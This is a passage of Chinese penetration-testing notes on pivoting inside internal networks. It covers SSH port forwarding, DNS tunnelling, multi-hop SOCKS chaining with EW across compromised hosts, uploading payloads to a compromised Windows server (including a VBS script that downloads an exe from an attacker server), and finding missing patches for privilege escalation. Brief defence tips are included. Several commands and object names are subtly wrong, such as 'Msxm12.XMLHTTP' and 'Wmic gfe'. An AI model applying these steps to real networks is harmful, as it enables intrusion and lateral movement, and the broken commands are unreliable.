  • -N:建立静默连接(建立了连接,但是看不到具体会话)
  • -g:允许远程主机连接本地用于转发的端口
  • -L:本地端口转发
  • -R:远程端口转发
  • -D:动态转发(SOCKS 代理)
  • -P:指定 SSH 端口
1
2
3
4
5
6
7
8
9
10
11
12
# 1. 本地转发
ssh -CfNg -L vps-PORT:tar-IP:tar-PORT root@jump-IP
## 以一个外网 Web 服务器为跳板机,将内网目标机器的某个端口映射到 VPS 机器的某个端口吗,再访问 VPS 的对应端口就相当于访问内网目标机器的对应端口,在 VPS 上执行 netstat -tulnp | grep "1153" 来查看 vps-PORT 端口是否已经连接,然后执行如下命令,在 VPS 中访问 1153 端口
rdesktop 127.0.0.1:vps-PORT
# 2. 远程转发
ssh -CfNg -R vps-PORT:tar-IP:tar-PORT root@jump-IP
## 以一个外网 Web 服务器为跳板机,将 VPS 某个端口的流量转发到内网目标机器的某个端口,然后访问 VPS 的对应端口,就可以访问内网目标机器的对应端口了,在VPS 上访问 vps-PORT 端口
rdesktop 127.0.0.1:vps-PORT
# 3. 动态转发
ssh -CfNg -D vps-PORT root@jump-IP # 在 VPS 上执行,建立一个动态 SOCKS4/5 代理隧道
## 然后打开浏览器设置代理,通过浏览器访问内网
## 动态端口映射就是建立一个 SSH 加密的 SOCKS4/5 代理通道,任何支持 SOCKS4/5 协议的程序都可以使用这个加密通道进行代理访问

防御 SSH 隧道攻击的思路

主要是因为系统访问控制措施不够

  • 在系统中配置 SSH 远程管理白名单
  • 在 ACL 中限制只有特定的 IP 地址才能连接 SSH
  • 设置系统完全使用带外管理

如果没有足够的资源来建立带外管理的网络结构,在内网中至少要限制 SSH 远程登陆的地址和双向访问控制策略

HTTP/HTTPS 协议

常用工具

DNS 协议

cat /etc/resolv.conf 查询当前内部域名及 IP,nslookup 内部0域名 查看是否能与内部 DNS 通信, nslookup baidu.com 查询是否能通过内部 DNS 服务器解析外部域名,如果可以则意味着可以使用 DNS 隧道实现隐蔽通信

dnscat2

https://github.com/iagox86/dnscat2

iodine

https://github.com/Al1ex/iodine

防御 DNS 隧道攻击的方法

防御很 J8 难,下列操作可以防御常见的隧道攻击行为

  • 禁止网络中的任何人向外部服务器发送 DNS 请求,只允许与受信任的 DNS 服务器通信
  • 虽然没有人会将 TXT 解析请求发送给 DNS 服务器,但是 dnscat2 和邮件服务器/网关会这样做,因此,可以将邮件服务器/网关列入白名单并阻止传入和传出流量中的 TXT 请求
  • 跟踪用户的 DNS 查询次数,如果达到阈值,就生成相应的报告
  • 组织 ICMP

SOCKS 代理

常见的网络场景

  • 服务器在内网中,可以任意访问外部网络
  • 服务器在内网中,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接
  • 服务器在内网中,对外只开放了部分端口(例如 80),且服务器不能访问外部网络

常用 SOCKS 代理工具

应用

EW 有六种命令格式:

  • 正向连接
    • ssokcsd
  • 反向连接
    • rcsocks
    • rssocks
  • 复杂网络的多级级联
    • lcx_slave
    • lcx_listen
    • lcx_tran
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 1. 正向 SOCKS5 服务器
## 适用于目标机器拥有一个外网 IP 的情况
## 执行以下命令,即可架设一个端口为 888 的 SOCKS 代理,接下来,使用 SocksCap64 添加这个 IP 地址的代理即可
ew -s ssocksd -l 888
# 2. 反弹 SOCKS5 服务器
## 目标机器没有公网 IP 的情况(使其可以访问内网资源)
## 在公网 VPS 上添加一个转接隧道,把 1080 端口收到的代理请求转发给 888 端口
ew -s rcsocks -l 1008 -e 888
## 在 Web 服务器上启动 SOCKS5 服务,然后反弹到 VPS 的 888 端口
ew -s rcsocks -d VPS-IP -e 888
# 3. 二级网络环境(a)
## 如果已经获得 A 主机与 B 主机权限,A 拥有两块网卡,一块通外网,一块只通 B,而 B 只可以访问内网资源
## 在 B 中,利用 ssocksd 方式启动 888 的 SOCKS 代理
ew -s ssocksd -l 888
## 在 A 中,将 1080 端口收到的代理请求转发给 B 的 888 端口,即可通过 A 的外网 1080 端口使用 B 上架设的 SOCKS5 代理了
ew -s lcx_tran -l 1080 -f B-IP -g 888
# 4。 二级网络环境(b)
## 如果已经获得 A 主机与 B 主机权限,A 既没有公网 IP 地址,也无法访问内网资源,B 只可以访问内网资源
## 首先在公网 VPS 中添加转接隧道,将 10800 端口收到的代理请求转发给 888 端口
ew -s lcx_listen -l 10800 -e 888
## B 中,利用 ssocksd 方式启动 999 端口的 SOCKS 代理
ew -s ssocksd -l 999
## A 中,利用 lcx_slave 方式将公网 VPS 的 888 端口和 B 主机的 999 端口连接起来,接下来就可以通过访问公网 VPS 的 10800 端口使用在 B 上架设的 SOCKS5 代理了
ew -s lcx_slave -d VPS-IP -e 888 -f B-IP -g 999
# 5. 三级网络环境
## A 没有公网 IP,可以访问外网,B 不能访问外网,但可以被 A 访问,C 可被 B 访问,而且可以访问核心区域
## VPS 中,将 1080 端口收到的代理请求转发给 888 端口
ew -s rcsocks -l 1080 -e 888
## A 中,将公网 VPS 的 888 端口和 B 的 999 端口连接起来
ew -s lcx_slave -d VPS-IP -e 888 -f B-IP -g 999
## B 中,将 999 端口收到的代理请求转发给 777 端口
ew -s lcx_listen -l 999 -e 777
## C 中,启动 SOCKS5 服务,并反弹到 B 的 777 端口,接下来就可以通过访问公网 VPS 的 1080 端口使用在 C 上架设的 SOCKS5 代理了
ew -s rssocks -d B-IP -e 777

上传和下载

对于不能上传 Shell,但是可以执行命令的 Windows 服务器(而且唯一的入口就是命令行环境),可以在 Shell 命令行环境中对目标服务器进行上传和下载操作

利用 FTP 协议上传

在本地或者 VPS 上搭建 FTP 服务器,常用的 FTP 命令:

1
2
3
4
5
6
7
8
9
10
11
12
open <服务器地址>  # 连接服务器
cd <目录名> # 进入指定目录
lcd <文件夹路径> # 定位本地文件夹(上传文件的位置或者下载文件的本地位置)
type # 查看当前的传输方式(默认为 ASCII 码传输)
ascii # 设置传输方式为 ASCII 码传输(传 TXT 等格式的文件)
binary # 设置传输方式为二进制传输(传输 EXE 文件,以及图片、视/音频文件等)
close # 结束与服务器的 FTP 会话
quit # 结束与服务器的 FTP 会话并退出 FTP 环境
put <文件名> [newname] # 上传,newname 为保存时的新名字,若不指定将以原名保存
send <文件名> [newname] # 上传,newname 为保存时的新名字,若不指定将以原名保存
get <文件名> [newname] # 下载,newname 为保存时的新名字,若不指定将以原名保存
mget filename [filename ...] # 下载多个文件,mget 命令支持空格和"?"两个通配符,例如 "mget .mp3" 表示下载 FTP 服务器当前目录下所有扩展名为".mp3"的文件

利用 VBS 上传

VBS 脚本主要使用 msxm12.xmlhttp & adodb.stream 对象

1
2
3
4
5
6
7
8
9
10
Set Post = CreateObject("Msxm12.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://server_ip/target.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:\test\target.exe",2

在目标服务器的 Shell 命令行中用 > 和 >> 逐行输入文件 download.vbs,然后执行 Csript download.vbs 即可在目标服务器中下载 VPS 上的 target.exe

利用 Debug 上传

将需要上传的 exe 文件转换为 hex 形式,再通过 echo 命令将其写入文件,最后通过 Debug 功能将 hex 代码编译并还原成 exe 文件

该工具的功能列举:

  • 直接输入、修改、跟踪、运行汇编语言源程序
  • 查看操作系统中的内容
  • 查看 ROM BIOS 的内容
  • 查看、修改 RAM 内部的设置值
  • 以扇区或文件的方式读/写软盘数据
  • 将十六进制代码转换为可执行文件(hex)

在 KaLi 中,exe2bat.exe 工具位于 /usr/share/windows-binaries 目录下,在该目录下执行,将需要上传的 xxx.exe 文件转换成 hex 形式

1
wine exe2bat.exe xxx.exe xxx.txt

然后利用目标服务器的 Debug 功能还原

使用 Debug 是一种比较老的方法,exe2bat.exe 只支持小于 64K 的文件,大了的话会报错

利用 Nishang / bitsadmin / PowerShell 上传

  • Nishang 中的下载执行脚本 Downoad_Execute
  • 命令行工具 bitsadmin(Windows XP 以后的版本 Windows 自带(Windows Update 就是用它下载文件),推荐在 Windows7 和 Windows8 主机上使用)
  • 以 .NET 框架为基础的 PowerShell(在 Windows Server 2003 以后版本默认自带)

权限提升分析防御

在 Windwos 中,权限大概分为四种,分别是 User、Administrator、System、TrustedInstaller,通常我们接触的是前三种,第四种在常规使用中通常不会涉及

  • User:普通用户权限,是系统中最安全的权限(因为分配给改组的默认权限不允许成员修改操作系统的设置或者用户资料)
  • Administrator:管理员权限,可以利用 Windows 的机制将自己提升为 System 权限,一边操作 SAM 文件等
  • System:系统权限,可以对 SAM 等敏感文件进行读取,往往需要将 Administrator 权限提升到 System 权限才可以对散列值进行 Dump 操作
  • TrustedInstaller:Windows 的最高权限,对系统文件,即使拥有 System 权限也无法进行修改,只有拥有 TrustedInstaller 权限的用户才可以修改系统文件

常用提权方法:

  • 系统内核溢出漏洞提权
  • 数据库提权
  • 错误的系统配置提权
  • 组策略首选项提权
  • Web 中间件漏洞填权
  • DLL 劫持提权
  • 滥用高权限令牌提权
  • 第三方软件/服务提权

系统内核溢出漏洞提权分析

通过手动执行命令发现缺失补丁

查看当前权限,whoami /groups,我们需要从 Mandatory Label\Medium Mandatory Level 提升到 Mandatory Label\High Mandatory Level,我们可以通过 systeminfo 或者 Wmic gfe get Caption,Description,HotFixIp,InstalledOn 查询补丁

攻击者一般采取的利用方式为:寻找提权的 EXP,将已安装的补丁编号与提权的 EXP 编号进行对比,例如 KiTrap0D 和 kB9796682、MS11-011 和 KB2393802、MS11-080 和 KB2592799、MS10-021 和 KB2592799,然后使用没有编号的 EXO 进行提权

常见 EXP:https://github.com/SecWiki/windows-kernel-exploits

利用 Metaspoit 发现缺失补丁

post/windows/gather/enum_patches 模块

Windows Expoit Suggester

https://github.com/GDSSecurity/Windows-Exploit-Suggester

使用 systeminfo 命令获取信息并导入 patches.txt 文件

1
2
3
py wes.py --update  # 自动下载安全公告数据库,下载的文件会自动在当前目录以 Excel 的形式保存
pip install xlrd -upgrade # 安装 xlrd 模块
py wes.py -d 2019-02-02-mssb.xls -i patches.txt # 预处理,检查系统中是否存在未修复的漏洞

msf 还内置了 local_expoit_suggester 模块,可以用于快速识别系统中可能被利用的漏洞

PowerShell 的 Sherlock 脚本

https://github.com/rasta-mouse/Sherlock

1
2
Import-Module sherlock.ps1
Find-AllVulns

Windows 操作系统配置错误利用分析

系统服务权限配置错误

系统服务权限配置漏洞(可写目录漏洞)有如下两种可能

  • 服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务
  • 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用 DLL 劫持技术并尝试重启服务来提权

提权这里先鸽了,属实不知道怎么写

域内横向移动分析及防御

常用 Windows 远程连接和相关命令